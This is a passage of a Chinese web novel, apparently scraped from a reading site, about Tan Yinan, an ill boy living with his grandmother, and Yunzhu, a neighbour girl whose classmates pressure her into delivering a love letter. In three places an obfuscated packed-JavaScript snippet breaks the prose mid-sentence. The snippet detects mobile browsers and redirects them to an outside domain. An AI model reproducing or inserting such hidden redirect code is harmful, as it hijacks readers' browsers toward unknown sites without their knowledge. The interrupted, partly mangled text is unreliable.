王婆婆还是一直哭,上气不接下气,手指颤抖着抚摸谭以南的衣服,“行李箱有干净衣裳没?把脏衣裳脱下来,姥姥帮你洗一洗,啊,是不是被吓着了?我等会下楼去找物业反映反映社区治理,那几个腌臜货还来到这要钱了!” 云竹站在旁边不说话,沉默着,沉默着,转身回到了卧室。 谭以南在骗王婆婆。 那不是别人的血,是谭以南自己的血量太大止不住,无法避免地染脏了上衣。 出血量,怎么会这样多? 谭以南看了一眼云竹离去的方向,垂下眼不语,只是格外生疏地一言一语安慰着姥姥,像云竹一样不会安慰人。在街上流鼻血时,似乎被她看到了。好不容易止住血,修长手指拎出手机,在一众联系人中拨打最熟悉的号码,嘟嘟两声,对方接听。 电话的那头一直在等待谭以南先开口。 两人无言相对。 谭以南先笑了:“你不想接这个电话,直接挂了就行,接通了也是敷衍我了事。” 电话那头传来妇人的声音:“我又怎么你了?你这孩子说话这么呛人干什么?钱不够花?卡上的生活费好几万块钱呢!” 谭以南没回答,“有没有人和你说过,几年前还没有谭之颂时你们对我的态度,和现在的态度,完全毫不沾边?” 妇人被噎了一句,好声好气道:“以南,是你自己去姥姥家生活的,我和我妈也提前说了声,照看好你。虽然我和你爸远在外省,但这几天的生活费我都没有断过吧?” 谭以南气极反笑:“我不想治了。” 妇人:“你说什么?!” “我说,治了也没用,烧钱,在我身上付出太多,得不到高成本的回报。” “以南,你怎么能这样想呢?” “不是我的想法,是你们对我做的一切举动诠释出来的动机。” “嘟嘟”两声,谭以南挂断电话,冷眼看了一眼街边,那时候街头车辆往来,正是下班高峰时期,熙熙攘攘的人群中看不到一掠而过的身影。谭以南在接头的长椅上坐了会,想到离开家的那天,原先父母提议说让他去小镇上的姥姥家待一些日子,磨着他的性子。 谭以南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991702|177945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚跑完大医院,回到家后不同意,心知肚明父母的想法。 年仅四岁的弟弟谭之颂也跑过来劝他,摇着他的手说:“哥哥,爸爸妈妈都是为了你好。” 父母也劝他,甚至夸张的说辞也搬过来了:“城市里空气不好,回去和你姥姥待在一块,空气新鲜,没准对你好一点。” 谭以南打心底知道,熬过了这一时,斗不过这一世。干脆收拾收拾行李,拿着一兜子国外进口药,坐高铁来到了这里。 回忆结束。 谭以南深吸一口气,掀开左手衣袖。 只见拿瘦白的手臂上,满是肉眼可见的针孔。 姥姥对此一无所知,帮忙洗完血迹斑斑的上衣后,便走去阳台晾着,说道:“南南啊,去学的衣服都整理好了没有?下周返校,不能再违纪了,要好好学习,啊。” 谭以南点点头,不再吭声。他来到红星小镇的姥姥家,计划里是打算住一些日子,至于住到什么时候,他也不知道,选择权不在他手里,而是在父亲谭伟手里。至于涉及隐私的事情,姥姥年纪大了,记不住事,也没必要告诉她。 反倒是云竹,家境不太好…… “上一层是云竹家吗?”谭以南站起身,端起茶几上的水壶去烧水。 王婆婆没理解意思,自家外孙思维转的快,她跟不上是常事,“啥?怎么突然说起这个来?你和云竹丫头闹别扭了?” “没有。半个月前,楼上扰民的那家是云竹家吗?”谭以南见姥姥这个反应,心里大概有了底,总算是能琢磨个大概,云竹为什么总是寄人篱下来到王婆婆这边。 “……”王婆婆沉默良久,瞥了一眼待在卧室里休息的云竹,拉着谭以南的胳膊,后者微不可闻地颤抖了一下。她小心翼翼说,像是防着云竹一眼,“那是云竹她亲妈,母女关系不咋好,你别在人家小姑娘面前提这件事,怪伤人心的。说话也温柔点,别那么凶,成天看起来像讨债的一样,唉。” “怪不得。”谭以南首先给姥姥的黄瓷缸里倒水,递给姥姥。 “你说啥呢南南?跟你们年轻人讲话,真是听不懂。啧啧。”姥姥和谭以南聊起天来,倒是不怎么计较外面子上的礼仪,“除了过年回家,国庆节回家,还有啥日子我想想,还有中秋节回家,一年四季都没咋见着你回老家看看。” 谭以南欲张口解释,眼底倒映着杯里热水氤氲的水雾,右手轻轻摇晃着,摇晃着,没有出声。 王婆婆见他这个样子,又知没趣,开启唠叨模式,围在外孙面前絮絮叨叨:“怎么这段日子突然回来了?还是南南好啊,颂颂跟他爹妈亲,也好长时间没回来看我了,自从他外爷走后,回来的次数越来越少,唉。” 谭以南在一旁听着,他不是像其他青少年一样排斥来自家人的唠叨,相反,十分珍惜,如同等到明年就再也听不到了般。 “你没回来之前,一直都是云竹这孩子陆陆续续陪着我,这丫头脾气怪好的,你别惹她。她家里情况不太好,楼上那家就是她妈成天打她,有时候被打怕了会来我这里躲一躲,吃顿饭,歇歇脚,碍不着你的事情,很安静这丫头,不吵不闹……”王婆婆掰着手指,开始细细数数云竹的优点。 “那就让她住在这。”谭以南终于将王婆婆操心的事情一语成诫,摆到明面上讲。 云竹刚推门出来时,便听到的是这一句话。 10.Chapter 10 高温烈日闷在云层,昨天下过大雨,教室窗棂缝隙中生长的苔藓表面浮上了一层细密水珠。教室内空气都是闷热潮湿,裹挟着雨后清新的泥土味。 云竹坐在教室的位置,头发丝垂落在肩膀两侧。忘了是哪一次了,被妈妈殴打时,一小缕头发被扯下来,直到现在发旋处才生出了微微翘起的碎头发。早起时拿着王婆婆的背面印有真人背景的大红色镜子,那一缕碎头发十分显眼,翘起来整个人的第一印象傻乎乎的。 于是她跑到楼上,趁着苏琦没睡醒,在卧室里翻找翻找,无疾而终,更不敢拿妈妈的大花潮流发卡,被发现了又是一顿毒打。 向同学借一下,更奇怪了。谁会去学校带多余的发卡呀?不都是出门前整理好直接走。 而现在,趁着中午午休期间,云竹偷偷溜到卫生间,打开门口的水龙头,手指沾水,借着水整理一下头发。 身边的洗手池的空位很快有人来,扑面而来的是一阵护肤品的香味,是橙花,很好闻。小时候见到过别人的妈妈给孩子抹护手霜,也是这个味道,云竹从来没有用过,每到冬天,手上生冻疮是常有的事情。 “你好,云竹同学。”长褐色头发的女生朝她投来善意的笑容,“你还记得我吗?” 云竹一听到有不熟悉的声音喊叫她的名字,莫名脊背上生出冷意,这种明明在丝毫不起眼的犄角旮旯里待着待习惯,猛然被人关注,拉到太阳底下的感受不好受。 她对上女生的笑脸,想起来开学那天程慕告诉了她全班人的名字,在脑海中疯狂搜寻,还没等到她说出口,女生率先开口。 “不记得也没关系,我知道你是刚来这个班的。”女生关上水龙头,以为云竹也是来洗手的,便递给她一张卫生纸,“我叫楚彩,是咱们组的组长,你的情况比较特殊,是下半年刚进到这个班的,下周测试的考生号和考场号,你记得向我要啊,我记性不太好。” 听到程慕口中说的名字,云竹先是愣了一瞬,接着抬起眼睛,她不太喜欢和陌生人交流,内向得不得了。云竹纠结几秒,最后还是收下了她的纸巾并道谢,看着地面,装作很忙的样子,“好的,谢谢你……” 楚彩交代完事情并没有急着要走,反而是狡黠地朝她眨眨眼睛,小声说道:“咳咳,云竹,你可要记得啊!” 云竹当然知道她口中说的是什么,只能硬着头皮点点头。她和谭以南才认识多久,连和程慕认识的时间都不到一半——程慕和她认识了大半个学期,云竹才勉强敞开心扉,愿意主动接近。 事情看似简单,但两件事的本质不同,更何况谭以南还是男性,云竹这辈子接触的男性寥寥无几,一个是爸爸,一个是弟弟,但是现在两个家人都离她和妈妈远去,在哪里定居,目前又过着什么样的生活,无从得知。云竹的生活是单调的纯色,灰灰暗暗,从不接近别人,也拒绝除了程慕以外的人的亲近。 没办法,云竹也很讨厌自己,讨厌自己别扭嘴笨的性格,讨厌因为别人随口说的一两句话而产生自我怀疑的敏感,讨厌妈妈口中是个拖油瓶的她。讨厌一切的一切,这个矛盾无解。 云竹做不到和别人一样外向开朗,做不到自来熟和别人轻轻松松打成一片。 问题来了,怎么样才能接触到谭以南呢?刻意为之会不会被发现?被揭穿了又该怎么办?云竹用卫生纸沾在手指,纯白纸巾触碰到水即刻洇透。 想法一旦诞生,延伸而出的各种设想经过开始如种子生根发芽,云竹的大脑正在运转中。这件事情太难,风险也大,她没有足够的把握完成,甚至让她产生了退缩的想法。 明明答应好了,却临时退缩毁约,无论是什么样的理由在别人眼里看来,都是十分不讲诚信的行为。 云竹只好在心中默默鼓励,加油打气。停课返校后时间过得极快,云竹按要求去向楚彩要考场和考号信息。 可惜云竹今天迟到了会,这个时间点所有人都在整理桌兜,将课本和练习册塞进储物柜中,腾空多余的学习资料,为月考做准备。 视线在一众前前行行的人影中瞄到了楚彩座位,人不在位置上,或许是去搬书了,再等一等。云竹边想边回到自己位置上,整理完一切,最终在桌兜最深处翻到日记本。 是好久好久有的。小学时期云竹学习成绩不错,各个学科经常名列前茅,三好学生奖状拿到手软,学校发的本子和铅笔奖品几乎样样都有。但云竹一直不舍得用,每次使用的都是普通的本子,将最好的留在家里箱底。 翻开泛黄的纸张,最初高一开学后无所事事,班里写日记之潮流风靡盛行,云竹不想成为被抛弃的“异类”,便依依不舍地从家里拿出最好看的本子,和同学们一起写日记,然而云竹压根不是喜欢记录事件的那种人。 生活是苦涩的咸水,没有记录苦难的必要。 云竹还是决定将最喜欢的本子和储物柜里的课本刚在一起。 站起身,离开座位,穿过连廊,挤过人头攒动的群流。 月考的前一天和大扫除撞在一起,走廊上湿漉漉的水迹反射明亮的光照,耀眼无比。刚出门的瞬间,云竹不禁用右手遮挡住强行闯入眼底的光束。 再往前一步,右肩膀猛然遭受到撞击,连带着整个人也滑向前倾一刻,左手捧住的日记本受到惯性顺势往前,啪嗒一声摊开在掉落在没有来得及晾干的地面。 “啊!” 先是手臂上传来一阵阵疼痛,云竹下意识在反光下强行睁开眼,目光所及之处,是日记本的前后纸质封面皮沾在地上。 “抱歉,我的错。” 一阵冷冽的嗓音传来,云竹抬起头看向迎面而来的谭以南。这是两个人第一次同水平线站立,目前看来,谭以南比她高了整整一个头。 云竹看到自己幼小茫然的神情倒映在对方的瞳孔,眨了眨眼,目光又转移在被拖把滴落的水洇透了半张封面皮的日记本。随后她弯腰捡起来,甩一甩残留的水分,但已无力回天,从外观来看,被脏水洇湿的那一部分大喇喇地在告诉两个人——日记本已经脏了。 “多少钱?我照价赔偿。” 谭以南端着脸盆,里面是换洗的衣物,最上面是黑色的裤子,云竹还用余光瞥见了下面的鲜艳红色校服,校服还会有红色系列,这倒是闻所未闻。 不过这个时候谭以南依旧冷脸少语,连说话都是捡着重要的关键挑。 “……这个,”云竹刚才脑子里还在想怎么才能自然的接近谭以南,实在没想到老天给她这么大的机会。不过这次的牺牲物可是用钱买不来的,她颇为难为情说道:“这是我小时候作文拿奖送的,现在买不到了。” 云竹又接着说:“谢谢你的好意,不用赔。” 云竹着急忙慌狼狈离去,对上谭以南那双黑得发亮的眼睛,她心虚得很,心脏剧烈跳动如同要震碎耳膜般,外界声音和她隔离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004748|177945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在两个不同的世界,什么也听不到,听到了也是难以接受包含的信息。这种感觉只能用奇妙来形容,更多的词汇修饰那一刻的感受都勉强差点意思。 第一次出现这样的感觉,是生病了吗?还是谭以南的上火也传染给她了?这不应该呀,没听说天干上火会传染给其他人的。到底是怎么回事?出现症状一定是有原因的,让她想一想原因…… 呼吸越来越沉重,从梧桐树的枝叶缝隙间流露下来的碎阳投射|在走廊,光影斑驳,美轮美奂。云竹思绪随着迎面吹来的风乱飞,脚步声也愈发快。 是了,是害怕,是做贼心虚。 害怕帮楚彩有目的地接近本人这件事被发现,毕竟第一回见面连各自名字都不知道,谭以南居然还能看出她在撒谎,这观察力着实不一般。 脚步伴随着扑通扑通狂跳不停的心跳声,清风吹来,渐渐离谭以南远去。 离谭以南远去的同时也有在楼梯拐角处暗中观察的楚彩。 豆大的汗水从云竹额前滑落,太晒了,今天高温,怎么会这个样子?正在云竹胡思乱想之际,一只手突然搭在她肩上,吓了一大跳。 “云竹,我刚刚都看见了。”楚彩两眼发光,直接把云竹拽到二楼楼梯间。 云竹还是一副惊魂未定的模样,不知道该说什么,是汇报成果讲成功和谭以南近距离接触,还是讲和他接触太心慌了,这种高难度任务让她完成属实吃力?云竹眼神呆滞,盯着脚下的地板砖看,之前从来没有发现过学校走廊上铺的花砖也这么好看。 云竹:“嗯……” 楚彩这回两只手全搭在云竹的肩上,趁着开口前,云竹偏了偏头,走廊上本就人多嘈杂,楚彩把她拽到这里讲话声音又小,不得不让能听得见的右耳靠近些,动作细微,千万不能让别人发现她的缺陷。 “你做的很棒!很棒很棒很棒!我相信你可以的!怎么样谭以南帅不帅?我眼光好吧?”楚彩笑眯眯地看着她,饶是听着字句如此激动,从她嘴里讲出来永远是一副得体的大方淑女的样子,要是是程慕,估计这个时候已经大喊大叫为云竹打call了。 楚彩:“他刚刚跟你说了什么?能不能给我说一说?” 云竹沉思了一会,觉得说出来也没有什么,便和刚才发生的事情一五一十全说出来。结果收到了来自楚彩的恨铁不成钢的叹惋。 楚彩在和她悄悄说:“就让他赔,是谭以南先弄脏你的日记本,照价赔偿,理所当然,天经地义。” 云竹纠结道:“可是……那是我小时候的奖品,好几年了,街上估计也没有卖同样的款式。要是让他真的赔,也没有必要耗着,不用为一本日记本而费心……” 楚彩扶额:“你呆得有点可爱了,云竹同学。这次的经历重点不在于赔,而是你同意赔后,他给你买一个新的东西照价赔偿,产生第二次的接触机会,这样一来,你们两个人越来越熟,帮我要到联系方式,电话号、Q|Q号,微信号,简直手到擒来。” 这层方面云竹还真没有想过,她愣了愣,“好,那我下次注意一点。” 云竹回复楚彩的“下次”,本以为是随口一讲,考试前也和谭以南当面提出了拒绝偿还,设想的结果是一空二白。但耐不住云竹从小运气差,倒霉蛋附体,提前相好的结果,命运总是和她反着来。 最好证明的例子,就在今日。 云竹是被一阵敲门声吵醒的。 11.Chapter 11 国庆假期间,按理说不用加班,但苏琦罕见地没在家,云竹在家里又找了一圈,果然还是两顿饭也没有给她留,哪怕是一包过期的方便面。 像个寄生虫般寄生在王婆婆家,总归也不是最优选,云竹迷迷蒙蒙在床上躺着,半昏半醒之间,她最担心的事情萦绕在身旁,像索命来的怨鬼,缠得她睡不着觉。但日日夜夜在学校里待的日子足够使身心俱疲。 在床上翻了个身,乌黑长发毫无厘头地缠绕在云竹白皙的脸庞,发丝和纤长浓密的睫毛相衬,显得五官越发精致。 “咚咚咚——” 有人在敲门。 云竹迷迷蒙蒙睁开眼,她睡眠的质量算不上好,常年的精神压迫导致身心不敢长时间浸入睡眠状态,数不清多少个夜晚喝醉酒后的苏琦的脚步声直冲冲逼近她的卧室。 这时云竹一秒睁开眼,掀开被子,也不管夜间能不能看得清地方,反正一骨碌直接从床上跳下来爬到床底躲着,或藏进破窗帘后,苏琦喝酒后总会忘记灯开关在哪里。等到苏琦大闹一顿后离去,云竹才抱着枕头直直松口气。 “咚咚咚——” 意识回神。 云竹彻底醒来。 这不是妈妈的敲门声,妈妈忘记带钥匙,通常也是直接把门踹开。 她回头看了一眼挂在钉子上的日历,今天也不是交水费电费的日子。 敲门的会是谁? 打云竹记事起,苏琦从未教她一些小孩子千万不能干的事情,例如半夜听到任何敲门声都不要去开门等等,这些都是从小学教育课上听老师讲解的内容。 因此,云竹坐在小床上,没有下床去开门,连问问敲门的人是谁都不问,主打一个让对方认为房主目前还在睡觉,自讨无趣自行离开。 “咚咚咚——” 敲门声依旧不断。 好难缠。 云竹皱起眉头,她拔掉手机充电线,解锁手机,考虑要不要和妈妈打个电话,前些日子家里还来了客人。 她悄悄穿好衣服,胡乱扎了个丸子头,鬓前的碎发蓬松地垂落在脸颊两侧。 云竹:【妈妈,外面有人敲门,会不会是那天晚上来我们家的客人落东西了?】 苏琦:【他能落什么鬼东西?别开门就是了,别问我,忙着上班呢!】 收到消息后云竹便不再和妈妈聊天,既然不是那天晚上的客人,说明来的人妈妈也不认识。饶是物业来到家里,敲她长时间不开门也会给苏琦打电话,但是苏琦并没有在微信上和她说。 是真的陌生人。 云竹迟疑着,迟疑着,一个年纪尚小的女孩独自在家里,就怕陌生人过来敲门,敲门没到手走了便是好结果,但万一撬门……云竹眼神黯淡了一瞬,筒子楼里的绝大部分人家都是用的旧式铁门,对上先进的撬门工具,云竹根本无所抵挡。 或许是送外卖的?送错楼层了?又或者是修水管的?纷纷出现的猜想逐渐在云竹脑海中显露出来。 敲门声停下来。 云竹顺势松了口气。 总算是走了,哎……要不是敲门声音挺大,云竹埋在被窝里的耳朵根本听不到。 她穿好拖鞋,日复一日去王婆婆家,这回出发不是寄住在王婆婆家像个寄生虫般,而是说明情况,在家待的时间少一点,她一个毫无血缘关系的外人,待在人家家里,就算王婆婆不说什么,长时间下来总会厌烦,传出去总归不好听。 云竹垂下头。 她总是让人厌弃的那一个。 一直都是,毫无意外。 每一天睁开眼,浸在黑夜中一晚上的眼眸吸收被隔离在外的晨曦,暖金融进她的眼中。透过灰扑扑的玻璃,凝视远在天边的太阳,云竹思绪随着云层被风吹散的那一刻,向外延伸。 按理来说,苏琦对她挺好的了。没必要强求。老一辈的人都说,没有大人会不爱自己的小孩,但如果是苏琦,按照她的性子,如果真的不爱她这个女儿,早就该打胎了吧…… 所以,苏琦还是爱她的,只、只是随着时间外界各种因素的变化,她爱人的方式逐渐产生变质,和别的妈妈有所不同。 云竹每天醒来听着外面窸窸窣窣的声音,这么安慰自己,虚无的言语在内心注上一针镇定剂。 云竹穿好衣服,来到玄关处,她找了一圈都没有找到塑料梳子,估计是苏琦又随手放到别处,但这个时候云竹没有再去找,就顶着一个乱糟糟的鸡窝丸子头,打着哈欠,开了门。 最先映入眼帘的是深色工装长裤,裤腿搭在运动鞋的鞋带上。 云竹练成绝招,凭鞋认人。 嗯……又是他。 又是那个有钱的小少爷,来这里体验小镇生活的谭以南。 “你被你妈妈打了?”谭以南直接开门见山,这个人说话就是比旁人直接的多,捡重点,从不说废话。 也不知道是懒得说废话,还是不屑于和云竹说废话。 云竹回过神来,下意识摸一摸自己的脸,想起开门的前一秒打哈欠,可能出现了生理性眼泪,“没有没有,我妈妈很早上班去了,她没在家,她也不怎么打我……” 谭以南撇开话题,声音在楼道里回响:“还以为你不在家。” “我在家,我以为是陌生人,就没敢开门……”云竹对上谭以南藏在棒球帽下,深邃的一双眼睛就萌生胆怯,随后程慕和楚彩的要求,更让她生出了小心翼翼的相处模式。 千万不能让这个火眼金睛的人发现才好。 谭以南没搭理,反而从背后递给云竹一本印有水果图案的手账本,青筋在白皙的手背下微微显露。 云竹蒙了,没接。 “给你,赔你一本新的。”谭以南从外衣口袋里掏出一个粉绿相间的小发卡,表面粘有饱满立体的山竹模具,“你那本的款式我在学校附近的小卖部没有找到,问了老板,干脆买了个新款式,我也不知道你们女生喜不喜欢这个,发卡也是我自己挑选的。” 云竹怔怔地盯着谭以南手中的山竹发卡和手帐本,最后抬起头,怯生生地对上他如深似海的眼睛,“可、可是我说了,不用赔呀……” “我不喜欢欠别人人情。”谭以南将两个人初遇时的台词重复了一遍,只不过主角换成了他。 “那、谢谢你……”云竹接过手帐本,目光落在采用特种纸的封皮上。 她每次放学后都会在学校门口等着程慕窜进小卖部里咣咣进货,而她一个人摩挲着掌心,静静地待在校外的大叶女贞树下。 云竹没钱,所以不进去丢人。 等到程慕噔噔噔跑出来后,总要听她原地吐槽一会,说学校门口的垃圾小卖部都是赚学生钱的,一个花里胡哨的手账本都敢要好几十,怎么不去抢呢?连手帐胶带也是贵的要死,只得等到过年父母发压岁钱,或者等到每个月都生活费到手,才能忍痛割一笔“巨款”——对于她们这个年纪的孩子,几十块钱就是一笔巨款了。 因此云竹从来没有过手账本,程慕在自习课上偷偷摸摸在数学练习册下藏一本手账本,上面贴满明星小卡和迷你照片海报,云竹也只是看一眼,不说话。 但是直到现在,她也拥有了和普通女生一样的、象征着可以混进圈子有共同话题的手账本了,尽管它仅仅是一个普通的不能再普通的本子了。 “谢谢你,其实随便买一本就好,我不挑的……这本是不是很贵?”云竹语气急促,脑子一根弦绷紧。 谭以南如此真诚,我却要有目的地去接近他……会不会不太好?友谊也不应该是这样的……云竹再次动摇,她自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16011086|177945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认为面上没有表现出来,但实际上谭以南将她的神情变化收尽眼底,觉得是不好意思罢了。 “不贵。” 对他这个身份地位的人,当然来说不贵,甚至只是零花钱中微不足道的小钱。 “那这个发卡,是最新流行的牌子的,这个一定也很贵吧?还给你。”两个人的身高差迫使她仰起脸。 价格不对等,云竹心中总有一股不安的心流在作祟,隐隐约约告诉她这样简单收下,就是占了别人的便宜。 “还给我?”谭以南轻笑一声,只觉得面前这个傻里傻气的姑娘真是好笑,“给我戴上吗?怎么想的?” 云竹愣在原地,他说得也有道理,总不能给男生戴上吧……画面太诡异了。 下一秒,手里的山竹卡子被夺走,没等到云竹反应过来,谭以南“啪嗒”一声掰开发卡,往云竹头顶的发旋上一按,固定好。 谭以南:“好了。” 云竹:“……啊?” 来人转身就走,但遗憾的是,经过楼下的王婆婆家时,谭以南并未停留,反而继续往下走,这意味着,谭以南要离开,至于去哪里,无人得知。 云竹不知道哪里的勇气喊住他:“谭以南。” 渐行渐远的背影一顿,回头。从楼梯间窗户口透出来的一抹光晕投在谭以南的前额,沿着鼻梁,到下唇,勾勒出一副完美的曲线。 “你去哪里?”云竹扶着脑袋上被按疼的地方,谭以南下手太重,她再一次说道。 “我姥姥叫我见到你,跟你说上去一趟。”谭以南避而不答,说道。 见状,云竹也不好开口再问。关上家门,按照谭以南说的,去王婆婆家待着。 谭以南离开时没有锁门,云竹轻轻一推就开了。她进去反手关门,喊叫王婆婆。 厨房里传来锅碗瓢盆的咣当声,云竹向厨房的方向走去,见到正在刷碗的王婆婆,说道:“婆婆,您找我。” “嘿呀,这不是云竹丫头吗?这么早起床啊?早睡早起,身体好啊,年轻人就要保持健康的作息,可不能像我外孙一样,昨晚一夜没睡,净盯着手机看了,手指头滑来滑去也不知道在看什么。”王婆婆一见到云竹便喜笑颜开,什么话都往外说,像竹筐倒豆子似的,“现在手机都把年轻人毒害了,成天抱着手机也不知道在干啥哟。” 谭以南一夜没睡?为什么? 云竹听闻后微微蹙眉,“王婆婆,听谭以南说,您找我。” 王婆婆扶着瓷碗的动作一顿,身子往后倾,“没找你啊。” 云竹这才得知谭以南还是唬她。 “我来帮您吧,王婆婆。”云竹说着伸手便要接过刷满洗洁精的碗筷,却被王婆婆一把后移,“你看你这身子骨弱成什么了,大早上没吃饭,低血糖了咋办?回去卧室里好好歇着,等会早饭好了,婆婆叫你,啊。别太有心理负担,你们年轻娃娃,就是想的多,这想想,那想想,人就一颗心,哪里能抵得了这么多耗费精气神的东西?” 云竹对上王婆婆可算是没招了,只好灰溜溜地回到卧室。王婆婆家里有两间房,多年前一间是卧室,一间是杂货房,等到王婆婆的老伴去世后,两间房都打扫出来,直到现在,王婆婆和云竹睡一间房,谭以南单独一个卧室。 好就好在,王婆婆的室内有挂在墙上的大镜子。 云竹忽然想到谭以南亲手为她别上去的山竹发卡。 她推开卧室门,走到镜子前。 明亮的镜子倒映出女孩水灵灵白里透粉的面容,一双波光流转的杏眼倒映出她的脸颊。 唯一美不足中的,但对云竹整个形象起点睛之笔的便是那个小发卡。 云竹单手扶在发旋处。 谭以南给她别发卡。 ……别歪了。 12.Chapter 12 上午第二节课是数学课,高中数学和初中的难度相比,远的可不是同一个水平。云竹作为文科生,每次听讲数学课便昏昏欲睡。 而现在,这次云竹数学课犯困是被程慕摇晃醒来的。 “诶诶,你头上的发卡怎么是歪的?谁买的?怎么好看!最近你跟那个人怎么样了?我看你相处得还行嘛!哈哈哈哈哈哈!”程慕趁着数学老师转过身写黑板字时,偷偷捂住嘴和身旁的云竹聊天。 “可能是出门走的太急,不小心戴歪了吧……”事实上,云竹戴上谭以南别的歪发卡后一直没有再重新整理过,一方面是她发型乱,家里梳子又丢失不见,另一方面是,她觉得歪的也挺好的。 “谁给你买的?你妈妈看起来不像是会给你买头饰的人啊。”程慕心直口快,有话直说。 “不是,是我自己买的,当时谭以南说要赔我,他不知道我原来那本多少钱,又赔我了一本新本还有一些零钱,再加上我……我缺钱就顺手拿下了……”云竹清醒的听到自己的声音这样说。 说话说到最后,眼神飘移到双脚下的地板缝隙里,音量也小了起来。 这话越说逻辑越矛盾,云竹话说出口才意识到不妙。程慕对云竹的家境不能说十打十的清楚,起码也有七成八成的熟悉,云竹怎么可能会拿钱买除了吃穿住行以外的身外之物? 但好在程慕心眼子大,从不细究这些。 程慕继续讲:“楚彩这几天在网上搜了搜好多情书,还有什么相思伤感青春伤痛文学的好词好句,她摘抄了一份,但是她字没你写得好看,更何况你上学期办黑板报,写黑板字也特别好看,这些大家都知道的。” 云竹心脏砰砰直跳,越听越不对劲。 “楚彩明白你这个胆小性子,就是不好容易向别人开口,但好消息,我们一开始做了两手准备,等到下课,楚彩会找你,把情书递给你,让你摘抄一份,字写好看点。”程慕笑嘻嘻对她说。 云竹却手心出汗,头皮上也不断生出汗液往下流。事情怎么会这样? “我、我……”云竹想解释,但却被程慕一把堵在嘴里。 “哎呀我知道你在担心什么,我们当了这么久的朋友了,怎么可能不清楚你在担心什么啦?”程慕趁着老师不注意继续和云竹开小差,“那些情书都是楚彩在网上抄的,自己改编的也有,主要是让你看她写的内容摘抄下来,这没什么好怕的,就跟抄作业差不多。” 云竹两只手蜷缩在一起搁在双腿上,“那我是要抄完,还要帮忙递给他吗……?” “对啊。”程慕狡黠地眨眨眼,“你们最近相处的不是挺好吗?楚彩看着大大方方,但容易害羞,怕在谭以南面前出丑,就让你去帮忙给他了。” 云竹眨眨眼。 我、我吗? 大脑中的所有氧气在这一瞬间全部被抽走,连同耳膜也糊上了一层隔离纸,云竹此时此刻,完全接收不到外界传来的任何信息,也听不到程慕现在在说些什么。只是任凭身体本能的恐惧和抗拒在作祟,在控制这副躯体。 “等会下课,我们和楚彩一起商量商量,看她怎么说。” “我觉得,我做不到。”云竹抬起头,湿漉漉的眼眸像是弥了一层水雾,波光粼粼。 “为什么这么说?我觉得你能做到啊,相信自己!我们在后面默默为你加油打气!你一定可以的!”程慕边说边握拳作加油状,云竹更不知所措,只是低着头。 “没事没事,等到下课后我把楚彩叫过来,大家一起商量,想办法。”程慕以为云竹太过恐惧和人接触才变成这样,伸出手拍拍她的肩膀。 * 楚彩坐在云竹面前时,后者已经勉强稳定住了自己分崩离析的情绪。 “我还是不想去……对不起,楚彩,我可以帮你抄情书,但是我真的做不到递给他,太难堪了……”云竹紧紧抓住校服衣角,咬住下唇说道。 一想到因为某种事情,两个再次遇到时,云竹却是要根据朋友的指示,给谭以南情书。 这怎么看都很奇怪吧……?话说谭以南真的不会起疑心吗?那他不就会看出来,云竹之前接近他就是为了这件事……但云竹不是这种人,她一旦拥有了友谊,便会尽力维持这种微妙的、平衡的关系,不想再失去。 谭以南会怎么看?会直接收下情书吗?还是当面拒绝她?无论哪种情况,云竹都会吓到腿软,无法应对。 “但是,据我们所知,和谭以南接触最多的女生就是你了……最大的希望也是你,我总不可能让别的男生传给谭以南吧?那些没素质的臭男生还会自己翻开偷偷看呢。”楚彩顿了顿,又说道,“真的不能通融通融吗云竹同学?” 云竹又开始纠结起来,面对朋友的恳求,她想拒绝却张不开口,只能硬生生答应下来。 接到楚彩传过来的小纸条,云竹先是左顾右看,趁着大课间没有人在旁边打闹,小心翼翼地折开—— “亲爱的谭同学,你好。 见字如晤,这是我第一次给你写情书,还不太熟练,请多多包涵,也请你不要扔掉,耐心看完,我相信你会有所触动。 古人有句诗说的好,不知道谭同学有没有听说过,“我住长江头,君住长江尾,日日思君不见君,共饮长江水,此水几时休?此恨何时已?只愿君心似我心,定不负相思意。”其中,“相思”一词,不仅是诗人的心意,更是我对你日日夜夜的相思,没料到古人也会用“相思”这一唯美的词语来表达自身难以抑制的爱情,体现了当时古代社会的痴情女子对爱情的向往。同样,我在写这封情书时也如同她这般。还有一句话说得好,你若折她一根翅膀,我定毁你整个天堂,天堂是白色的,是纯洁的颜色,白色代表纯洁和救赎,你便是我的救赎,我的唯一……” 